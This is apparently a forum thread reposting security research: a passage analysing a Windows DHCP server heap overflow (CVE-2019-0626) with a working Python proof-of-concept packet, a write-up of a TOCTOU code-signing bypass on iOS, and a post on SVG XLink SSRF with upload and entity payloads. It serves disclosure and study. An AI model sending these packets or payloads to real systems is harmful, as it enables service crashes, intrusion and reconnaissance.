    The type of the second loop (yellow box) in now “do while” instead of “for”, which now matches the first loop (the loop format change could explains a lot of the yellow blocks in BinDiff). Most importantly, a completely new sanity check has been added (red box). The code in blue box has also been simplified, with some of it moved inside the loop.

    My next step was to figure out what the “UncodeOption” function is actually doing. Right-clicking a function and selecting “jump to xref…” returns a list of every reference.

    function_xrefs.png A list of references to UncodeOption

    Hmm…All of the calls to “UncodeOption” come from “ParseVendorSpecific” or “ParseVendorSpecific Content”. This lead me to google “DHCP Vendor Specific”.

    google_suggest.png

    Google’s automatic completion filled in some blanks here. I now know that DHCP has something called “vendor specific options”. A function named “UncodeOption” being called by “ParseVendorSpecific”? Kinda implies decoding of a vendor specific option. So, what’s a vendor specific option?

    Vendor Specific Options

    The first result for googling “DHCP Vendor Specific Options” is a blog post which tells me everything I needed to know [1]. Very helpfully, the blog post explain the packet format of the vendor specific options.

    vendor_specific_options.png

    The format is simple: a 1 byte option code, followed by a 1 byte length specifier, followed by the option value. Now we just need to send a test packet.

    I found a useful DHCP test client on a random blog [2]. Here is an example command.

    dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”

    This sets the vendor specific option to “hello world”. Now, we can see if “UncodeOption” gets called.

    Runtime Analysis

    In an attempt to cut corners I set a breakpoint on “UncodeOption”. I sent my DHCP request, and hoped for the best.

    function_parameters.png IDA Pro Memory View

    Awesome! The breakpoint was hit. Looks like the parameters are easy to understand too.

    • RCX (argument 1) points to the start of the vendor specific option.
    • RDX (argument 2) points to the end of the vendor specific option.
    • R8 is 0x2B (the option code for vendor specific options).

    Now I’m going to revisit the decompiled code and add some descriptive names; I also guessed some variable types. Knowing the format of the vendor specific options helps a lot.

    function_full.png The un-patched code after some renaming

    The addition of some descriptive names and my new found knowledge of vendor specific options made understanding the code much easier. I’ll break it down.

    There are two loops (starting on line 25 and line 44).

    First Loop

    1. Gets the option code (1st byte of the option buffer). Verify the option code matches the value sent in R8 (0x2B).
    2. Get’s the option size (2nd byte of the option buffer), then adds it to a variable I’ve named required_size.
    3. increments buffer_ptr_1 to point to the end of the option buffer.
    4. Breaks if the new buffer_ptr_1 is larger than the end of the buffer (buffer_end).
    5. Ends the loop if “buffer_ptr_1 + option size + 2” is greater than buffer_end.

    Essentially, the loop will get the length of the option value (in our case “hello world”). If multiple vendor specific options have been sent back to back, the loop will calculate the total size of all values combined. The variable “required_size” is used to allocate heap space later on.

    Second Loop

    1. Gets the option code (1st byte of the option buffer). Verify the option code matches the value sent in R8 (0x2B).
    2. Get’s the option size (2nd byte of the option buffer).
    3. Append the option value to heap space (i.e. “hello world”) by copying <option_size> number of bytes.
    4. increments buffer_ptr_2 to point to the end of the option buffer.
    5. Ends the loop if the new buffer_ptr_2 is greater than buffer_end.

    Code Purpose

    The function implements a typical array parser. The first loop reads ahead to calculate the buffer size required to parse the array. The second loop then parses the array into a newly allocated buffer.

    The Bug

    After staring at the two loop implementations side-by-side, I noticed something.

    loop_comparison.png A Side-by-side comparison (Loop 1 is on the left, Loop 2 is on the right)

    Both loops have a condition which will cause them to exit if the buffer pointer reaches the end of the array (green box). Interestingly, loop 1 has an extra check (red box). Loop 1 also aborts if the next element in the array is invalid (i.e. its’ size will cause the pointer to increment past the end of the array). The difference in logic means loop 1 will check the validity of the next element in the array before processing it, whilst loop 2 will copy the element, then exit due to buffer_ptr_2 being larger than buffer_end.

    Due to the fact loop 1 is responsible for calculating size, the allocated buffer will only allocate size for the valid array elements. Loop 2 will copy all the valid array elements, as well as a single invalid one, before exiting.

    So, what if we sent the following?

    malicious_format.png Malicious Option Array

    The size calculation loop would parse the first option size (0x0B) successfully. Then, the next option size is validated. Due to the fact there are not 0xFF bytes following the option size, it would be seen as invalid and disregarded. The result would be an allocation size of 0x0B (11 bytes).

    The copy loop would copy the first option value “hello world”. On the second iteration, the option size isn’t validated. The copy will result in 255 bytes (0xFF) being appended to the buffer. A total of 266 will be copied to the 11 byte of heap space, overflowing it by 255 bytes.

    For the last element to be seen as invalid, there must be less than 255 bytes between the 2nd option length and the end of the buffer (achieved by putting the malicious array at the end of the DHCP packet).

    Something interesting to note is: we can put any number of bytes after the last option length, as long as it’s less than 255. We can overflow the heap with up to 254 bytes of data we specify, or up to 254 bytes of whatever is after our packet in the heap. Essentially, it’s possible to do both out-of-bounds (OOB) read and write).

    Proof of Concept

    To verify the bug, I needed to craft a malicious DHCP packet. I begun by sending a legitimate DHCP packet using dhcp-test, which I captured with WireShark.

    dhcp_packet.png A DHCP packet displayed by WireShark

    Looks like the vendor specific options buffer is already at the end of the packet, nice! I simply extracted the hex to a python script and made a simple PoC.

    Tip: you can right click on the “Bootstrap Protocol” column, then select “Copy”, followed by “..As Escaped String”.

    from socket import * import struct import os dhcp_request = ( "\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \ "\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff" ) dhcp_request = dhcp_request[:-1] #remove end byte (0xFF) dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size dhcp_request += "A"*254 #254 bytes of As dhcp_request += struct.pack('=B', 0xFF) #packet end byte s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP s.bind(('0.0.0.0', 0)) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    from socket import *
    import struct
    import os
     
    dhcp_request = (
        "\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \
        "\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff"
    )
     
    dhcp_request = dhcp_request[:-1]        #remove end byte (0xFF)
    dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
    dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
    dhcp_request += "A"*254                 #254 bytes of As
    dhcp_request += struct.pack('=B', 0xFF) #packet end byte
     
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
    s.bind(('0.0.0.0', 0))
    s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)    #put socket in broadcast mode
     
    s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67

    Next, I attached a debugger to the svchost process containing dhcpssvc.dll and set some breakpoints. One breakpoint is on HeapAlloc, and the other is after the copy loop. Now I send my malicious DHCP packet.

    heap_alloc_bp-1.png HeapAlloc breakpoint hit

    On the HeapAlloc breakpoint, you can see that the allocation size is 0x0B (enough space for just “hello world”). I wonder what happens when we click run again?

    post_copy_bp.png post-copy breakpoint hit

    Whoops! The parser copied “hello world” and 254 bytes of ‘A’s to a heap allocation of only 11 bytes in size. This is most definitely an overflow, but we shouldn’t expect a crash unless we overwrite something critical.

    Exploitability Considerations

    Heap overflows can often be leveraged to gain remote code execution (RCE); however, there are some hurdles to overcome first. Over the years Microsoft have gradually introduced new mitigations, reducing heap overflow exploitability. I’ll summaries some of the important mitigations, but you can see a more full write-up on TechNet [3][4].

    Windows Vista and Above

    Most generic heap overflow attacks rely on heap metadata forging to gain arbitrary write or execute capabilities (primitives). Unfortunately, Windows Vista added encoding and verification of heap metadata. Metadata fields are now XORed with a key, massively complicating modification.

    Without the ability to forge heap metadata, attackers must focus on overwriting the heap data itself. It’s still possible to overwrite objects stored on the heap, such as a class instance; these can provide the same primitives as metadata forgery.

    Windows 8 and Above

    Allocations smaller than 16,368 bytes go on something called the Low Fragmentation Heap (LFH). Windows 8 adds LFH allocation randomization, which makes the allocation order far less predictable. Being unable to control where an object is allocated makes overwriting a game of chance; however, there’s still hope.

    If an object’s allocation is attacker controlled, one could allocate hundreds of copies, increasing the chance of a successful overwrite. Of course, you’d have to find such an object and it’d have to be exploitable.

    Conclusion

    I’ve not been able to spend as much time on this bug as I’d like, and am yet to find a RCE method for newer systems. So far I’ve found noticeda couple of TCP interfaces which may allow for better heap control. Assuming something more interesting doesn’t appear, I may come back to this in future.
     

    References

    1. Microsoft Vendor specific DHCP options explained and demystified https://www.ingmarverheij.com/microsoft-vendor-specific-dhcp-options-explained-and-demystified/
    2. A custom tool for sending DHCP requests https://blog.thecybershadow.net/2013/01/10/dhcp-test-client/
    3. TechNet blog post about early heap mitigations https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-exploitation-of-user-mode-heap-corruption-vulnerabilities/
    4. TechNet blog post about Windows 8+ heap mitigations – https://blogs.technet.microsoft.com/srd/2013/10/29/software-defense-mitigating-heap-corruption-vulnerabilities/

     

    Sursa: https://www.malwaretech.com/2019/03/analyzing-a-windows-dhcp-server-bug-cve-2019-0626.html

  22. 01 March 2019

    Completely Bypassing Codesigning on Modern iOS

    By Dynastic

    iOS prevents the execution of unsigned binaries, and in iOS 12, CoreTrust enforces this even further, becoming a significant obstacle for jailbreaks. In this post, we will detail a practical attack against both AMFI and CoreTrust, utilising a time of check to time of use (TOCTOU) attack.

    This is a follow-up to our previous research post on CoreTrust, CoreTrust: an overview.

    Heads up: This is developer-oriented research for those with advanced knowledge of programming, code signing techniques, attack vectors, security research, and jailbreak development. While we have attempted to thoroughly explain terms used, a background in jailbreaking is recommended.

    Background

    When a binary is spawned, iOS ensures that it has a valid code signature from Apple before it is executed. This is stored in the vnode of the binary, in a field called cs_blob. Among other things, the cs_blob stores a hash of the binary in a field called csb_cdhash.

    AppleMobileFileIntegrity (AMFI) is responsible for ensuring the validity of the signature and the entitlements.

    Overview

    Early on in the codesigning validation process, a function called _vnode_check_signature is invoked in AMFI—this is where the bulk of AMFI’s logic lies, and is where all of AMFI’s checks for a binary originate from. From here, the signature and entitlements are parsed. Any error that occurs here is fatal and prevents the binary from being launched. CoreTrust validation occurs here too (we recommend reading our previous post CoreTrust: an overview to understand more about what CoreTrust does).

    AMFI has a feature known as the TrustCache, which is simply a list of cd_hashes that are automatically trusted by AMFI. Xcode utilises this functionality to make Xcode’s debugging features work, and modern jailbreaks use this to load their main payloads and run them with special privileges.

    Early in the _vnode_check_signature flow, the cd_hash of the vnode is checked against the list of hashes in the loadedTrustCaches.

    The check in AMFI to see if a hash is in a loaded TrustCache. The check in AMFI to see if a hash is in a loaded TrustCache.

    This happens very early in the flow, before CoreTrust is called and before any other additional checks happen. Therefore, if the hash can be changed to a trusted hash whilst AMFI is evaluating it, but returned to normal after, then the codesigning flow can be completely bypassed.

    The attack

    Now that we know about about the issue, we can work on attacking it. It is important to remember that the cd_hash of the binary must match the hash of the binary when dyld checks it, so the cd_hash of the binary must be swapped back before that happens.

    To achieve this, these steps have to be performed on the launch of any process:

    1. Lookup the vnode of the binary, attaching a cs_blob to it. This can be achieved using the F_ADDSIGS fnctl call, which will automatically add a cs_blob to a given vnode.
    2. Get the cs_blob of any binary that contains a valid CMS blob or is in the TrustCache, and replace the cs_blob of the vnode with it.
    3. Once AMFI has finished, the cs_blob of the vnode has to be restored to one which matches the binary. This once again can be done by calling the F_ADDSIGS fnctl.
    4. The binary has now been launched successfully! ?

    Whilst we mentioned the TrustCache approach, provided that the cs_blob that is swapped has a valid CMS blob (to pass CoreTrust validation), this approach will still work. It is also possible to replace only the cd_hash, with that of one in the TrustCache, providing this is changed back in step 3.

    Note: There are many variations possible to this attack. For example, to avoid TOCTOU’ing completely, the binary could be added to the TrustCache and then removed after the AMFI flow has completed. The differences between these attacks are minimal and it should be trivial to switch implementations; the most important fact is that your solution is stable, and reliable.

    Obtaining the necessary hooks (process launch and pre-dyld) is an exercise left to the reader. Some modern jailbreaks already have the required userland hooks, so this technique is perfect for such tools.

    Pratical usage

    We envision that this bypass can be used in a jailbreak as a proper bypass to the CoreTrust mitigation. Additionally, it serves as a cleaner codesign bypass. Most modern jailbreaks achieve this by hijacking a daemon, which would no longer be necessary with this technique. Overall, this could increase stability and user experience when using such tools.

    We plan on releasing a POC attack utilising this bug soon. This post will be updated with a link to that when it is ready.

    Thanks

    Many thanks to @iBSparkes, for helping out with the implementation of the attack, and for technical proofreading. His Twitter is full of interesting content similar to this.

    We hope that this research is useful to you. If it is, and you use it in a project, please include a reference to this post; hopefully someone else can also benefit from it. For that reason, please consider open-sourcing any code which implements this technique. We also ask that you credit Dynastic and @iBSparkes, as hard work has gone into this writeup and research.


     

    This article was brought to you by Dynastic.

     

    Sursa: https://research.dynastic.co/2019/03/01/codesign-bypass?refsrc=dynl

  23. SVG XLink SSRF fingerprinting libraries version

    Mar 2

    • SSRF(Server-side-request-forgery) have been quite a popular attack surface for the uploading functionality where application fetches the assets from external resources in form of images,documents etc
    • SVG is an XML based vector image used to display a variety of graphics on the Web and other environments, due it ’s XML structure it supports various XML features, one of the feature is XLink which is responsible for creating internal and external links within XML document.

    During the testing process, I encountered with XLINK based SSRF to enumerate various internal libraries, installed tools, gnome version’s, much more etc,


    POST /upload HTTP/1.1
    Host: redacted.com
    Connection: close
    Content-Length: 1313
    Accept: application/json, text/javascript, */*; q=0.01
    Origin: https://redacted.com
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryINZ5MzqXAud4aYrN
    Referer: https://redacted.com
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    ceaa2f2d25275bb5879a726eb8c04aec7b3a64f7
    ------WebKitFormBoundaryINZ5MzqXAud4aYrN
    Content-Disposition: form-data; name="timestamp"
    1551244304
    ------WebKitFormBoundaryINZ5MzqXAud4aYrN
    Content-Disposition: form-data; name="api_key"
    413781391468673
    ------WebKitFormBoundaryINZ5MzqXAud4aYrN
    Content-Disposition: form-data; name="file"; filename="test.jpg"
    Content-Type: image/jpeg
    <?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="30" width="30" xlink:href="http://myserver:1337/" /></svg>
    • Incoming Request at my server: Interestingly referer header shows the request has been generated from an internal network of the application which is hosting app over port 3000
     
    1*gPmHW934O148NuxKOoVSwg.png
    • Since the application is accepting SVG based images, the second try would be to include the static entities to see if the parser is allowing custom entities.
    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ <!ENTITY xml "POC for Static Entities Allowed">]>
    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="0" y="20" font-size="20">&xml;</text>
    </svg>
     
    1*Zg0XsywN0BlV_8XvnDRLkQ.png
    • As parser is allowing static entities, Next step would be to include SYSTEM based entities along with DTD to fetch the malicious DTD which is more like XXE attack but parser was blocking system based entities in the backend, they had strong validation of the malicious malformed XML.

    Since parser is blocking SYSTEM based entities our attack surface has been limited, Now it’s time to test Billion Laughs attack since application allowed static entities. Always note that: Before blinding fuzzing the various XML payloads, make sure to understand the parser logic, Before trying the billion laugh attack, I threw the server with simple callback entity function to see if the parser allows rendering of xml1 entity through callback of xml2 entity.

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE testingxxe [ 
    <!ENTITY xml1 "This is my first message">
    <!ENTITY xml2 "&xml1";>
    ]>
    <text x="0" y="20" font-size="20">&xml2;</text>
    </svg>
    • Unfortunately, the parser is blocking the callback entities as well. Now our attack surface is at ground level (Picture present fingerprint trick) by including the internal path along with picture present in system & we get interaction if that picture present internally on the system as described by @flyod at https://hackerone.com/reports/223203

    • In order to enumerate all possible things, we need to build a wordlist for all possible local pictures present on the system.
     
    1*d36INp5JvKwBK3WH3FoqIw.png
     
    1*6pMM1E1-LJzyMUf4Ot1Hgg.png
     
    1*6Pg5QZDkMwCoLnwfHCIlBw.png
    • Now it’s time to make different port’s open or just with different paths& fuzz it along with all the internal picture path’s collected to fingerprint all possible libraries, script, tools installed along with versions.

     

    Go to the profile of Arbaz Hussain

    Arbaz Hussain

    ~Kiraak-Boy~

     

    Sursa: https://medium.com/@arbazhussain/svg-xlink-ssrf-fingerprinting-libraries-version-450ebecc2f3c

    • Upvote 1
×
×
  • Create New...